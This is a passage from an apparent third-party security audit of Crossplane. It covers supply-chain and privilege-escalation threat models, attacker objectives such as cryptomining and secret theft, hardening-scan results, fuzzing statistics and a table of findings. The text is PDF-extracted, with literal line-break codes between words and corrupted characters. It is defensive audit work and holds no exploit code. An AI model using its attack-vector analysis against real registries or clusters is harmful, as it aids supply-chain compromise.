client\\nchecks\\nfor\\nupdates.\\nTo\\nupdate\\na\\nCrossplane\\npackage,\\nusers\\nare\\nrequired\\nto\\nmanually\\nupdate\\nmanifest\\nfiles\\nwhich\\nwill\\nprompt\\nCrossplane\\nto\\npull\\nthe\\nnew\\npackage.\\nAn\\nattacker\\nwho\\ncan\\nblock\\nupgrades\\nwill\\nbe\\nable\\nto\\nlaunch\\na\\nfreeze\\nattack\\nagainst\\nCrossplane.\\nArbitrary\\npackage\\nattacks\\nAn\\narbitrary\\npackage\\nattack\\nis\\nwhere\\nan\\nattacker\\ncan\\ntrick\\na\\nclient\\ninto\\ndownloading\\na\\nso\\u0000ware\\nartefact\\nof\\nthe\\nattackers\\nchoice.\\nIn\\na\\nsuccessful\\narbitrary\\npackage\\nattack,\\nthe\\nclient\\nwill\\nnot\\nbe\\naware\\nthat\\nit\\ndownloaded\\nthe\\nwrong\\nartefact.\\nThere\\nare\\nseveral\\nways\\nanattacker\\ncould\\nattempt\\nthis\\nagainst\\nCrossplane:\\nImage\\ntampering\\nis\\none\\nway\\nsince\\na\\nmaliciously\\nmodified\\nimage\\ncould\\nbe\\nconsidered\\nan\\narbitrary\\npackage.\\nAttackers\\ncould\\nalso\\nseek\\nto\\ncompromise\\nthe\\ndependencies\\nof\\nCrossplane\\npackages\\nsince\\nCrossplane\\npulls\\ndependencies\\nwhen\\ninstalling\\nCrossplane\\npackages.\\nTyposquatting\\nattacks\\nA\\ntyposquatting\\nattack\\nis\\nwhen\\nan\\nattacker\\ntricks\\na\\nclient\\ninto\\ndownloading\\nmalicious\\nso\\u0000ware\\nartifacts\\nby\\ntyping\\na\\nname\\nthat\\nclosely\\nresembles\\nthe\\nsafe\\nartifacts\\nname\\nbut\\nis\\nstill\\ndifferent.\\nTyposquatting\\nattacks\\nare\\nhard\\nfor\\nCrossplane\\nto\\nharden\\nagainst,\\ngiven\\nthat\\nCrossplane\\ntrusts\\nthe\\npackage\\nname.\\nCrossplane’s\\nsupply\\nchain\\nattack\\nvectors\\nAn\\nattacker\\ncan\\ntake\\nseveral\\npositions\\nto\\nlaunch\\na\\nsupply\\nchain\\nattack.\\nIn\\nthis\\npart,\\nwe\\npresent\\nhow\\nan\\nattacker\\ncould\\nobtain\\nsuch\\na\\nposition.\\nCompromising\\nthe\\nregistry\\nAn\\nattacker\\ncan\\ncompromise\\nthe\\nregistry\\nand\\ncontrol\\nthe\\ndata\\nthe\\nregistry\\nresponds\\nto\\nrequests\\nmade\\nto\\nit.\\nThis\\nlevel\\nof\\ncompromise\\nallows\\nthe\\nattacker\\nto\\nreturn\\nany\\ndata\\nto\\nCrossplane.\\nCompromising\\nthe\\npackage\\nin\\nthe\\nregistry\\nAn\\nattacker\\ncan\\ncompromise\\nthe\\npackage\\nthat\\nexists\\nin\\nthe\\nregistry.\\nThis\\nrequires\\nthe\\nattacker\\nto\\ncompromise\\neither\\nthe\\nregistry\\nitself\\nor\\nthe\\nmaintainer\\nof\\nthe\\npackage.\\nA\\nsuccessful\\nattack\\nwould\\nrequire\\nthat\\nneither\\nthe\\nuser\\nnor\\nthe\\npackage\\nmanager\\nvalidate\\nthe\\npackage\\nat\\ndownload\\ntime.\\nThis\\ncould\\nfor\\nexample\\nbe\\nenabled\\nby\\ncompromising\\nthe\\nvendor\\naccount\\nthat\\nuploads\\nand\\nmanages\\na\\ngiven\\npackage\\nat\\nthe\\nregistry.\\nCompromising\\nthe\\ninfrastructure\\ndelivering\\nthe\\npackage\\nAn\\nattacker\\ncan\\ncompromise\\nthe\\ninfrastructure\\ndelivering\\nthe\\npackage\\nto\\nCrossplane.\\nThere\\nare\\ntwo\\nimportant\\npieces\\nof\\ninfrastructure\\nto\\nCrossplane\\nin\\nthis\\nattack\\nvector:\\n1.\\nThe\\ncloud\\nprovidersʼ\\ninfrastructure.\\nAn\\nattacker\\ncould\\ncompromise\\nthe\\ncloud\\nproviders\\ninfrastructure\\nto\\nget\\naccess\\nto\\nthe\\nusers\\ncluster.\\n2.\\nCrossplaneʼs\\ngo-containerregistry\\ndependency.\\nCrossplane\\nrelies\\non\\nthe\\ngithub.com/google/go-containerregistry\\nlibrary\\nto\\nfetch\\nimages.\\nVulnerabilities\\nin\\ngo-containerregistry\\nthat\\nCrossplane\\ncan\\nreach\\ncould\\nimpact\\nCrossplane\\nin\\nthe\\nsame\\nmanner\\nas\\nif\\nthe\\ncode\\nlived\\nin\\nCrossplaneʼs\\nown\\nrepository.Crossplane\\nthreat\\nscenario\\nIn\\nthis\\nsection,\\nwe\\nexemplify\\nthe\\nabove\\nobservations\\nwith\\na\\nthreat\\nscenario.\\nThe\\npurpose\\nis\\nto\\nconsider\\na\\ntangible\\nseries\\nof\\nobservations\\nthat\\nan\\nattacker\\nwould\\nmake\\nto\\nlook\\nfor\\nvulnerabilities\\nto\\nexploit\\nin\\nCrossplane.\\nThe\\nprevious\\nsections\\nin\\nour\\nthreat\\nmodelling\\nhave\\ntaken\\na\\nhigh-level\\napproach,\\nand\\nthis\\nsection\\naims\\nto\\nmake\\nthese\\nmore\\ntangible\\nwith\\nan\\nexample\\nthreat\\nscenario.\\nCrossplane\\ninfrastructure\\nteams\\nmanage\\npackages\\nthrough\\ncontainer\\nimage\\nreferences.\\nThe\\ninfrastructure\\nteam\\nwill\\ninput\\na\\nreference\\nto\\nCrossplane\\nwhich\\nwill\\nthen\\ndownload\\nan\\nimage\\nfrom\\na\\nregistry\\nspecified\\nin\\nthe\\nreference.\\nFor\\nexample,\\nwhen\\ncreating\\na\\nProvider\\nor\\nConfiguration,\\nthe\\nuser\\nwill\\nspecify\\na\\npackage\\nwhich\\nis\\nthe\\nimage\\nreference:\\nhttps://pkg.go.dev/github.com/crossplane/crossplane/apis/pkg/v1beta1#PackageRevisionSpec\\nThe\\nCrossplane\\nrevision\\ncontroller\\nwill\\nfetch\\nthe\\nimage\\ndefined\\nin\\nthePackageSpec\\nfrom\\nits\\nregistry.\\nAs\\nsuch,\\nwhen\\nCrossplane\\ndeals\\nwith\\ncontainer\\nimages,\\nthere\\nare\\ntwo\\ninputs\\nto\\nCrossplane\\none\\nof\\nwhich\\nthe\\nCrossplane\\nadmin\\ncontrols,\\nand\\none\\nof\\nwhich\\nthe\\nadmin\\ndoes\\nnot\\ncontrol.\\n1.\\nThe\\ninfrastructure\\nteam\\ninputs\\nthe\\nimage\\nreference\\nto\\nCrossplane.\\nIn\\nthis\\nstep,\\nthere\\nis\\nno\\nchange\\nin\\ntrust.\\n2.\\nCrossplane\\nsends\\na\\nrequest\\nto\\nthe\\nregistry\\nwhich\\nresponds\\nwith\\nthe\\nCrossplane\\npackage.\\nIn\\nthis\\nstep,\\nthe\\ntrust\\nflows\\nhigh\\nto\\nlow\\nwhen\\nCrossplane\\nsends\\nthe\\nrequest\\nto\\nthe\\nregistry\\nand\\nlow\\nto\\nhigh\\nwhen\\nthe\\nregistry\\nresponds\\nwith\\nthe\\npackage:\\nIn\\nthis\\nworkflow,\\nCrossplane\\nexpects\\nthe\\nregistry\\nto\\ncorrectly\\nand\\nsafely\\nhandle\\nthe\\nrequest\\nfrom\\nCrossplane\\nto\\nthe\\nregistry\\nand\\nto\\nreturn\\nthe\\ncorrect\\nimage\\nbased\\non\\nthe\\nreference.\\nEven\\nif\\nthe\\ninfrastructure\\nteam\\nhas\\nspecified\\nthe\\ncorrect\\nimage\\nreference\\nusing\\na\\ndigest\\nwhich\\nis\\nmore\\nsecure,\\nthe\\nattack\\nsurface\\nfrom\\nthe\\nregistry\\nexists.\\nFor\\nexample,\\nif\\nan\\nattacker\\nhas\\ncompromised\\nthe\\nregistry,\\nthey\\ncan\\nchoose\\nto\\nignore\\nthe\\ndigest\\nand\\nreturn\\nan\\narbitrary\\ndata\\nblob\\nto\\nCrossplane.\\nThis\\nmakes\\nthe\\nregistry\\nan\\nideal\\ntarget\\nfor\\nsupply\\nchain\\nattacks.\\nAttackers\\nwill\\nlook\\nfor\\nways\\nto\\ncompromise\\nregistries\\nas\\nwell\\nas\\nmissing\\nhardening\\nin\\nCrossplaneʼs\\nPackage\\nfetching\\nroutines.\\nIf\\nan\\nattacker\\nhas\\ncompromised\\nthe\\nregistry,\\nthey\\ncan\\npotentially\\nfully\\ncontrol\\nthe\\npackage\\nthat\\nCrossplane\\nreturns.\\nIn\\nthis\\nscenario,\\nCrossplane\\nshould\\nbe\\nhardened\\nagainst\\nevery\\npossible\\nattack\\nvector\\nfrom\\nthe\\nregistry,\\nwhich\\nincludes\\nthe\\nsupply\\nchain\\nattacks\\nlisted\\nabove\\nas\\nwell\\nas\\nnon-supply\\nchain-specific\\nprivilege\\nescalations.\\nCrossplane\\nClaims\\nClaims\\nin\\nCrossplane\\nare\\ndeclarative\\nrequests\\nfor\\na\\ngiven\\ncloud\\nresource\\nor\\nservice.\\nThey\\nallow\\nPlatform\\nEngineers\\nto\\ndefine\\nthe\\nspecific\\nresources\\nthat\\ndevelopers\\ncan\\nprovision\\nand\\naccess,\\nwhile\\nalso\\nallowing\\ndevelopers\\nto\\ndefine\\ntheir\\ndesired\\ncharacteristics\\nand\\nparameters\\nfor\\nthose\\npermitted\\nresources.\\nWhen\\na\\nuser\\nmakes\\na\\nclaim,\\nCrossplane\\nprovisions\\nand\\nmanages\\nthe\\nrequested\\nresources\\nbased\\non\\nthe\\nprovided\\nspecifications.\\nThis\\nseparation\\nof\\nconcerns\\nis\\na\\nmajor\\nadvantage\\nof\\nCrossplane\\nwhich\\nis\\nintended\\nto\\nallow\\nsafe\\nself-service\\nprovisioning\\nof\\nresources\\nby\\ndevelopers.\\nA\\nvital\\nsecurity\\nassumption\\nfor\\nclaims\\nis\\nthat\\nusers\\nconsume\\nthe\\nresources\\nthat\\nthey\\nbelieve\\nthey\\nconsume.\\nIf\\nan\\nattacker\\ncan\\ncause\\nthat\\nassumption\\nto\\nbe\\nwrong,\\nthey\\ncan\\nobtain\\nan\\nadvantageous\\nsecurity\\nposition.\\nFor\\nexample,\\na\\nthreat\\nactor\\ncould\\ninterfere\\nwith\\nhow\\nCrossplane\\nhandles\\nclaims\\nto\\nattempt\\nto\\ntamper\\nwith\\nthe\\nresource\\nthat\\nthe\\nuser\\nis\\nexpecting.\\nBy\\ncausing\\nCrossplane\\nto\\nsupply\\na\\ndifferent\\nresource\\nthan\\nthe\\nrequested\\none,\\nthe\\nthreat\\nactor\\nwould\\nbe\\nable\\nto\\nbreach\\nthe\\nsecurity\\nof\\nCrossplane.\\nA\\nserious\\nbreach\\nrelated\\nto\\ncomposite\\nresources\\nis\\nthe\\ncase\\nwhere\\na\\nuser\\n-\\nwho\\nis\\nnot\\na\\ncluster\\nadmin\\n-\\ncan\\nassume\\nthe\\nrole\\nof\\nthe\\nplatform\\nteam\\nand\\nobtain\\nprivileges\\nto\\nconfigure\\nthe\\nCompositeResourceDefinitions\\nof\\nthe\\ncluster.\\nThis\\ncould\\nlead\\nto\\nfull\\ncluster\\nbreach\\nas\\nthe\\nthreat\\nactor\\ncould\\nreplace\\nexisting\\nCompositeResourceDefinitions\\nwith\\nmalicious\\nones\\nor\\nadd\\nnew\\nCompositeResourceDefinitions\\nthat\\ncould\\nbe\\nused\\nto\\nfurther\\nescalate\\nprivileges.\\nThis\\nattack\\nvector\\nis\\nparticularly\\nsevere\\nif\\nthe\\nuser\\ncan\\ndo\\nthis\\nby\\nway\\nof\\na\\nclaim\\nsince\\nclaims\\nare\\nthe\\nAPI\\nthat\\nlimited\\nprivilege\\nusers\\nare\\nmeant\\nto\\nuse\\nand\\nmust\\nbe\\nsecured\\nagainst\\nprivilege\\nescalations.Threat\\nactors\\nA\\nthreat\\nactor\\nis\\nan\\nindividual\\nor\\ngroup\\nthat\\nintentionally\\nattempts\\nto\\nexploit\\nvulnerabilities,\\ndeploys\\nmalicious\\ncode,\\nor\\ncompromise\\nor\\ndisrupt\\na\\nCrossplane\\ndeployment,\\no\\u0000en\\nfor\\nfinancial\\ngain,\\nespionage,\\nor\\nsabotage.\\nWe\\nidentify\\nthe\\nfollowing\\nthreat\\nactors\\nfor\\nCrossplane.\\nA\\nthreat\\nactor\\ncan\\nassume\\nmultiple\\nprofiles\\nfrom\\nthe\\ntable\\nbelow;\\nfor\\nexample,\\na\\nfully\\nuntrusted\\nuser\\ncan\\nalso\\nbe\\na\\ncontributor\\nto\\na\\n3rd-party\\nlibrary\\nused\\nby\\nCrossplane.\\nActor\\nDescription\\nHave\\nalready \\nescalated\\nprivileges\\nFully\\nuntrusted \\nusers\\nUsers\\nthat\\nhave\\nnot\\nbeen\\ngranted\\nany\\nprivileges.\\nNo\\nPlatform\\nauthors\\nUsers\\nthat\\nare\\nresponsible\\nfor\\nconfiguring\\nCrossplane,\\ne.g.,\\ninstalling\\nproviders/configurations,\\ncreating\\ncompositions,\\nsetting\\nup\\ncloud\\ncredentials,\\netc.\\nNo\\nPlatform\\nconsumers\\nApp\\ndevelopers\\nwho\\nconsume\\nthe\\nplatform\\nAPI\\nthrough\\nclaims.\\nThey\\nhave\\nlimited\\npermissions\\nvia\\nRBAC.\\nThey\\ndo\\nnot\\nhave\\npermission\\nto\\ninstall\\na\\nprovider\\nfor\\nexample.\\nNo\\nContributors\\nto \\n3rd-party\\ndependencies\\nContributors\\nto\\ndependencies\\nused\\nby \\nCrossplane.\\nNo\\nWell-funded \\ncriminal\\ngroups\\nOrganised\\ncriminal\\ngroups\\nthat\\no\\u0000en\\nhave \\neither\\npolitical\\nor\\neconomic\\ngoals.\\nNoAttacker\\nobjectives\\nIn\\nthis\\nsection,\\nwe\\nenumerate\\ncommon\\nobjectives\\nobserved\\nin\\nthe\\nwild\\namongst\\nattacks\\nagainst\\ncloud-native\\nsystems\\nthat\\napply\\nto\\nCrossplane.\\nSteal\\ncompute\\npower\\nThreat\\nactors\\nmay\\nseek\\nto\\ncompromise\\na\\nCrossplane\\ndeployment\\nto\\nsteal\\ncomputational\\nresources.\\nThis\\nis\\na\\ncommon\\nattack\\nvector\\nfor\\ncloud-based\\ninfrastructure,\\nand\\nthere\\nare\\nnumerous\\nexamples\\nof\\nsuch\\nattacks\\nin\\nthe\\nwild\\n1\\n2\\n.\\nThe\\nattacker\\nwill\\no\\u0000en\\nattempt\\nto\\ngenerate\\nnew\\nworkloads\\nthat\\nrun\\ncryptominers.\\nAttackers\\nwill\\no\\u0000en\\nuse\\nthe\\nMonero\\ncrypto\\nminers,\\nsince\\nthere\\nare\\nmany\\nimages\\navailable\\npublicly\\nto\\ndeploy\\nMonero\\nmining\\nworkloads\\n3\\n.\\nFurther\\nprivilege\\nescalation\\nAttackers\\nlook\\nfor\\nvulnerabilities\\nthat\\ncan\\nallow\\nthem\\nto\\nfurther\\nmanifest\\ntheir\\nposition\\neven\\na\\u0000er\\nhaving\\nalready\\nelevated\\ntheir\\nprivileges.\\nOne\\nway\\nis\\nto\\nextend\\nthe\\ntimeframe\\nof\\nthe\\nelevated\\nposition\\nby\\nfinding\\na\\nway\\nto\\nmaintain\\ntheir\\nposition\\neven\\na\\u0000er\\nthe\\ninitial\\nvulnerability\\nhas\\nbeen\\npatched.\\nAt\\nthe\\ntime\\nof\\nthis\\naudit,\\nattackers\\nare\\nactively\\nleveraging\\nmisconfigurations\\nin\\nRBAC\\nto\\ngain\\na\\nfoothold\\ninto\\nKubernetes\\nclusters\\nin\\nthe\\nwild\\nand\\nobtain\\npersisted\\nelevated\\nprivileges\\n4\\n.\\nAnother\\nway\\nthe\\nattacker\\ncould\\nseek\\nto\\nfurther\\ntheir\\nposition\\nis\\nby\\nway\\nof\\nhorizontal\\nprivilege\\nescalation.\\nThis\\ncould\\nbe\\ndone\\nby\\nattacking\\nother\\nusers\\nof\\nthe\\nCrossplane\\ndeployment\\nto\\nrun\\ncode\\non\\nthe\\nvictims\\nmachine,\\nsteal\\nsecrets,\\npretend\\nto\\nbe\\nthe\\nvictim\\nin\\nother\\nattacks,\\nor\\nsomething\\nelse.\\nA\\ndesirable\\ngoal\\nfor\\nany\\nattack\\nis\\nto\\nescalate\\nprivileges\\nall\\nthe\\nway\\nto\\nroot.\\nAs\\nsuch,\\nan\\nattacker\\ncan\\nseek\\nto\\nchain\\nvulnerabilities\\nstarting\\nwith\\na\\nlow-impact\\nvuln\\nand\\nescalate\\nhorizontally\\nwith\\nother\\nhigher-impact\\nvulns\\nthat\\nrequire\\nexisting\\nprivileges\\nto\\nexploit.\\nDenial\\nof\\nservice\\nAttackers\\nmay\\nseek\\nto\\ngain\\na\\ncompetitive\\nadvantage\\nby\\nlaunching\\ndenial-of-service\\nattacks\\nagainst\\nCrossplane\\ndeployments.\\nThe\\nmotivation\\nhere\\ncould\\nbe\\nfinancial\\nor\\nto\\ndisrupt\\na\\ncompetitor's\\nresearch\\nand\\ndevelopment\\nefforts.\\nDenial\\nof\\nservice\\nattacks\\ncan\\nalso\\ndamage\\nthe\\nusers\\nreputation\\nor\\nput\\nthe\\nusers\\nin\\na\\nposition\\nwhere\\nthey\\nbreach\\ncontractual\\nagreements\\nwith\\ntheir\\npartners,\\nthus\\nmaking\\nthem\\nvulnerable\\nto\\nlegal\\naction.\\n4\\nhttps://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters\\n3\\nhttps://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/\\n2\\nhttps://blog.aquasec.com/container-vulnerability-dzmlt-dynamic-container-analysis\\n1\\nhttps://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-cont \\nainer-images-cryptocurrency-miningSteal\\nsecrets\\nAttackers\\nmay\\nseek\\nto\\nsteal\\nsecrets\\nfrom\\nCrossplane\\nusers\\nto\\nobtain\\nconfidential,\\nhigh-value\\ndata\\nor\\naccess\\nto\\nother\\nsystems\\nthat\\nthe\\nuser\\nmanages.C l u s t e r\\nh a r d e n i n g\\nAda\\nLogics\\nassessed\\nCrossplaneʼs\\nhardening\\nagainst\\nNSAʼs\\nKubernetes\\nhardening\\nguide.\\nWe\\nused\\nKubescape\\n5\\nto\\nscan\\nCrossplaneʼs\\nYAML\\nmanifests\\nagainst\\nKubescapeʼs\\nNSA\\nframework\\nsetting.\\nCrossplane\\nscores\\nat\\n100%\\ncompliance\\nagainst\\nNSAʼs\\nKubernetes\\nhardening\\nguide,\\nmeaning\\nthat\\nno\\nresources\\nfailed\\nwith\\nsecurity\\nissues\\nof\\nany\\nkind.\\nThese\\nare\\nthe\\nfindings\\nfrom\\nKubescape\\nagainst\\nboth\\nCrossplane\\nand\\nCrossplane-runtime.\\nControls:\\n24\\n(Failed:\\n0,\\nPassed:\\n24,\\nAction\\nRequired:\\n0\\nFailed\\nResources\\nby\\nSeverity:\\nCritical\\n—\\n0,\\nHigh\\n—\\n0,\\nMedium\\n—\\n0,\\nLow\\n—\\n0\\nSeverity\\nControl\\nname\\nFailed\\nresources\\nAll\\nResources\\n%\\nCompliance-score \\n(if\\nfailed)\\nCritical\\nAPI\\nserver\\ninsecure\\nport\\nis\\nenabled\\n0\\n0\\n-1%\\nCritical\\nDisable\\nanonymous\\naccess\\nto \\nKubelet\\nservice\\n0\\n0\\n-1%\\nCritical\\nEnforce\\nKubelet\\nclient\\nTLS \\nauthentication\\n0\\n0\\n-1%\\nHigh\\nResource\\nlimits\\n0\\n0\\n-1%\\nHigh\\nApplications\\ncredentials\\nin \\nconfiguration\\nfiles\\n0\\n0\\n-1%\\nHigh\\nHost\\nPID/IPC\\nprivileges\\n0\\n0\\n-1%\\nHigh\\nHostNetwork\\naccess\\n0\\n0\\n-1%\\nHigh\\nInsecure\\ncapabilities\\n0\\n0\\n-1%\\nHigh\\nPrivileged\\ncontainer\\n0\\n0\\n-1%\\nHigh\\nCVE-2021-25742-nginx-ingress-snip \\npet-annotation-vu…\\n0\\n0\\n-1%\\nMedium\\nExec\\ninto\\ncontainer\\n0\\n0\\n-1%\\nMedium\\nNon-root\\ncontainers\\n0\\n0\\n-1%\\nMedium\\nAllow\\nprivilege\\nescalation\\n0\\n0\\n-1%\\nMedium\\nIngress\\nand\\nEgress\\nblocked\\n0\\n0\\n-1%\\nMedium\\nAutomatic\\nmapping\\nof\\nservice\\n0\\n0\\n-1%\\n5\\nhttps://github.com/kubescape/kubescapeaccount\\nMedium\\nCluster-admin\\nbinding\\n0\\n0\\n-1%\\nMedium\\nContainer\\nhostPort\\n0\\n0\\n-1%\\nMedium\\nCluster\\ninternal\\nnetworking\\n0\\n0\\n-1%\\nMedium\\nLinux\\nhardening\\n0\\n0\\n-1%\\nMedium\\nCVE-2021-25741\\n-\\nUsing\\nsymlink\\nfor \\narbitrary\\nhost\\n...\\n0\\n0\\n-1%\\nMedium\\nSecret/ETCD\\nencryption\\nenabled\\n0\\n0\\n-1%\\nMedium\\nAudit\\nlogs\\nenabled\\n0\\n0\\n-1%\\nLow\\nImmutable\\ncontainer\\nfilesystem\\n0\\n0\\n-1%\\nLow\\nPSP\\nenabled\\n0\\n0\\n-1%\\nResource\\nSummary\\n0\\n0\\n0.00%\\nWe\\nrecommend\\nCrossplane\\nto\\nintegrate\\nKubescape\\ninto\\nCrossplane’s\\nCI\\npipeline\\nto\\nmaintain\\nthe\\nsame\\nhigh\\nstandard\\nover\\ntime.Fuzzing\\nCrossplane\\nhas\\na\\nfuzzing\\nsuite\\ncovering\\nboth\\nthe\\nCrossplane\\nmain\\nrepository\\nas\\nwell\\nas\\nthe\\nCrossplane-runtime\\nrepository.\\nThe\\nfuzzers\\nrun\\ncontinuously\\non\\nOSS-Fuzz,\\nwhich\\nruns\\nthe\\nfuzzers\\naround\\n143\\nbillion\\ntimes\\nevery\\nmonth.\\nOSS-Fuzz\\nfuzzing\\nstats\\nfrom\\n30th\\nApril\\nto\\n30th\\nMay\\n2023:\\nFuzzer\\nname\\n#\\nof\\ntimes\\nexecuted\\n(millions)\\nFuzzing\\nhours\\nFuzzDag\\n29,548\\n1,642.6\\nFuzzFindXpkgInDir\\n8,715\\n1,188.2\\nFuzzForCompositeResourceClaim\\n18,778\\n1,143.8\\nFuzzForCompositeResourceXcrd\\n24,347\\n1,349.7\\nFuzzNewCompositionRevision\\n4,532\\n1,147.4\\nFuzzPackageRevision\\n16,263\\n1,288.5\\nFuzzParse\\n1,492\\n1,500.3\\nFuzzPatchApply\\n500\\n1,017.3\\nFuzzPropagateConnection\\n17,782\\n1,079.9\\nFuzzTransform\\n21,525\\n1,354\\nTotal\\n143,482\\n12,711.7\\nAn\\nimportant\\nelement\\nof\\nfuzzing\\nis\\ncontinuity:\\nThe\\nfuzzers\\nneed\\nto\\nkeep\\nrunning\\nto\\nkeep\\ntesting\\nfor\\nbugs\\nand\\nbuild\\nup\\ntheir\\ncorpora.\\nCrossplaneʼs\\nOSS-Fuzz\\nbuild\\nhas\\nhad\\nno\\ndowntime\\nsince\\nthe\\ncompletion\\nof\\nits\\nfuzzing\\naudit\\n6\\n.\\nCrossplane\\nmaintains\\nthe\\nfuzzers\\nin\\nthe\\nCrossplane\\nand\\nCrossplane-runtime\\nrepositories\\nwhich\\nallows\\nthe\\nmaintainers\\nto\\nquickly\\nfix\\nany\\nbreakages\\nshould\\nthey\\narise.\\nIn\\naddition\\nto\\nthe\\nfuzzers\\nrunning\\ncontinuously\\nby\\nway\\nof\\nOSS-Fuzz,\\nCrossplane\\nalso\\nruns\\nthem\\nin\\nthe\\nCI\\npipeline\\nthrough\\nOSS-Fuzzʼs\\nCIFuzz\\n7\\non\\npull\\nrequests.\\nAs\\nsuch,\\nthe\\nfuzzers\\ntest\\nfor\\nlow-hanging,\\neasy-to-find\\nissues\\non\\npull\\nrequests\\nbefore\\nthey\\nare\\nmerged\\ninto\\nthe\\nproject.\\nAn\\nadvantage\\nof\\nusing\\nOSS-Fuzzʼs\\nCIFuzz\\nis\\nthat\\nit\\nstarts\\nthe\\nfuzz\\njob\\nwith\\nthe\\nfull\\ncorpus\\nthat\\nOSS-Fuzz\\nhas\\naccumulated,\\nthereby\\nallowing\\nthe\\nfuzzers\\nto\\nreach\\nfar\\ninto\\ntheir\\ntargets\\nat\\nevery\\nrun.\\n7\\nhttps://google.github.io/oss-fuzz/getting-started/continuous-integration/\\n6\\nhttps://blog.crossplane.io/fuzzing-security-audit/ADA\\nLogics\\nadded\\n4\\nnew\\nfuzzers\\nto\\nCrossplaneʼs\\nfuzzing\\nsuite\\nand\\nimproved\\ntheFuzzDag\\nfuzzer\\nby\\nincreasing\\nits\\ncoverage.\\nNew\\nfuzzers\\nFuzzPTFComposer\\nAdds\\na\\nfuzzer\\nthat\\ncalls\\nseveral\\nAPIs\\nin\\nthe\\nsame\\norder\\nthat\\nthe\\ncomposite\\ncontroller\\ndoes.\\nTests\\nif\\nany\\nof\\nthe\\nAPIs\\ncan\\nbe\\ndisrupted\\nin\\na\\nproduction-like\\nscenario.\\nPR:\\nhttps://github.com/crossplane/crossplane/pull/4198\\nFuzzRevisionControllerPackageHandling\\nTests\\nthe\\nRevision\\ncontrollers\\nhandling\\nof\\nCrossplane\\npackages.\\nThe\\nfuzzerscreates\\na\\nRevision\\nand\\nresolves\\nits\\ndependencies.\\nPR:\\nhttps://github.com/crossplane/crossplane/pull/4199\\nFuzzRenderClusterRoles\\nTests\\nthe\\nRBAC\\nmanagers\\nrendering\\nof\\ncluster\\nroles.\\nPR:\\nhttps://github.com/crossplane/crossplane/pull/4201\\nFuzzRenderRoles\\nTests\\nthe\\nRBAC\\nmanagers\\nrendering\\nof\\ncluster\\nroles.\\nPR:\\nhttps://github.com/crossplane/crossplane/pull/4202\\nImproved\\nfuzzers\\nAda\\nLogics\\nadded\\nmore\\ncalls\\nto\\nthe\\nDAG\\nfuzzer\\nwhich\\nwere\\nnot\\ncovered\\nprior\\nto\\nthe\\nsecurity\\naudit.\\nThis\\nimprovement\\nresulted\\nin\\nincreased\\ncoverage.\\nPR:\\nhttps://github.com/crossplane/crossplane/pull/4200Issues\\nfound\\nHere\\nwe\\npresent\\nthe\\nissues\\nthat\\nwe\\nidentified\\nduring\\nthe\\naudit.\\n#\\nID\\nTitle\\nSeverity\\nFixed\\n1\\nADA-XP-23-1\\nDenial\\nof\\nservice\\nfrom\\n3rd-party \\nvulnerability\\nModerate\\nYes\\n2\\nADA-XP-23-2\\nPossible\\nOOM\\nin\\ninternal/xpkg\\nLow\\nYes\\n3\\nADA-XP-23-3\\nPossible\\nOOM\\nwhen\\nreading\\nXfn \\ncommand\\noutput\\nLow\\nYes\\n4\\nADA-XP-23-4\\nPossible\\nOOM\\nwhen\\nreading\\nXfn \\ncommand\\noutput\\nLow\\nYes\\n5\\nADA-XP-23-5\\nDockerfiles\\ndo\\nnot\\nfollow\\nbest\\npractices \\nregarding\\nCOPY\\nvs\\nADD\\nLow\\nYes\\n6\\nADA-XP-23-6\\nInsufficient\\ndocumentation\\non\\nsecurity \\nimplications\\nof\\nusing\\ntags\\nfor\\nremote \\nimages\\nLow\\nYes\\n7\\nADA-XP-23-7\\nCrossplaneʼs\\nOCI\\nstore\\ndoes\\nnot\\nvalidate \\nfor\\ninvariants\\nin\\nimages\\nModerate\\nNo\\n8\\nADA-XP-23-8\\ngPRC\\nconnection\\nnot\\nclosed\\nLow\\nYes\\n9\\nADA-XP-23-9\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nImage\\nbackend\\nModerate\\nYes\\n10\\nADA-XP-23-10\\nDenial\\nof\\nservice\\nfrom\\nmalicious \\nCrossplane\\npackage\\nModerate\\nYes\\n11\\nADA-XP-23-11\\nPossible\\nimage\\ntampering\\nfrom\\nmissing \\nimage\\nvalidation\\nHigh\\nYes\\n12\\nADA-XP-23-12\\nPossible\\nendless\\ndata\\nattack\\nin \\nProviderRevision\\ncontroller\\nModerate\\nYes\\n13\\nADA-XP-23-13\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nOCI\\nstore\\nI\\nModerate\\nYes\\n14\\nADA-XP-23-14\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nOCI\\nstore\\nII\\nModerate\\nYes\\n15\\nADA-XP-23-15\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nOCI\\nstore\\nIII\\nModerate\\nYes\\n16\\nADA-XP-23-16\\nDenial\\nof\\nservice\\nfrom\\nlarge\\nimage\\nLow\\nYesIssues\\nfound\\nin\\nalpha\\nfeatures\\nSeveral\\nof\\nthe\\nissues\\nwere\\nfound\\nin\\nalpha\\ncomponents\\nof\\nCrossplane.\\nThese\\nissues\\nhave\\nbeen\\nscored\\nby\\nthe\\nsame\\nmetrics\\nas\\nissues\\nfound\\nin\\nnon-alpha\\ncomponents.\\nThe\\nissues\\nfound\\nin\\nalpha\\ncomponents\\nare:\\n#\\nID\\nTitle\\nSeverity\\nFixed\\n3\\nADA-XP-23-3\\nPossible\\nOOM\\nwhen\\nreading\\nXfn \\ncommand\\noutput\\nLow\\nYes\\n4\\nADA-XP-23-4\\nPossible\\nOOM\\nwhen\\nreading\\nXfn \\ncommand\\noutput\\nLow\\nYes\\n7\\nADA-XP-23-7\\nCrossplaneʼs\\nOCI\\nstore\\ndoes\\nnot\\nvalidate \\nfor\\ninvariants\\nin\\nimages\\nModerate\\nNo\\n8\\nADA-XP-23-8\\ngPRC\\nconnection\\nnot\\nclosed\\nLow\\nYes\\n13\\nADA-XP-23-13\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nOCI\\nstore\\nI\\nModerate\\nYes\\n14\\nADA-XP-23-14\\nPossible\\nendless\\ndata\\nattack\\nin \\nCrossplaneʼs\\nOCI\\nstore\\nII\\nModerate\\nYes\\n15\\nADA-XP-23-15\\nPossible\\nendless\\ndata\\nattack\\nin 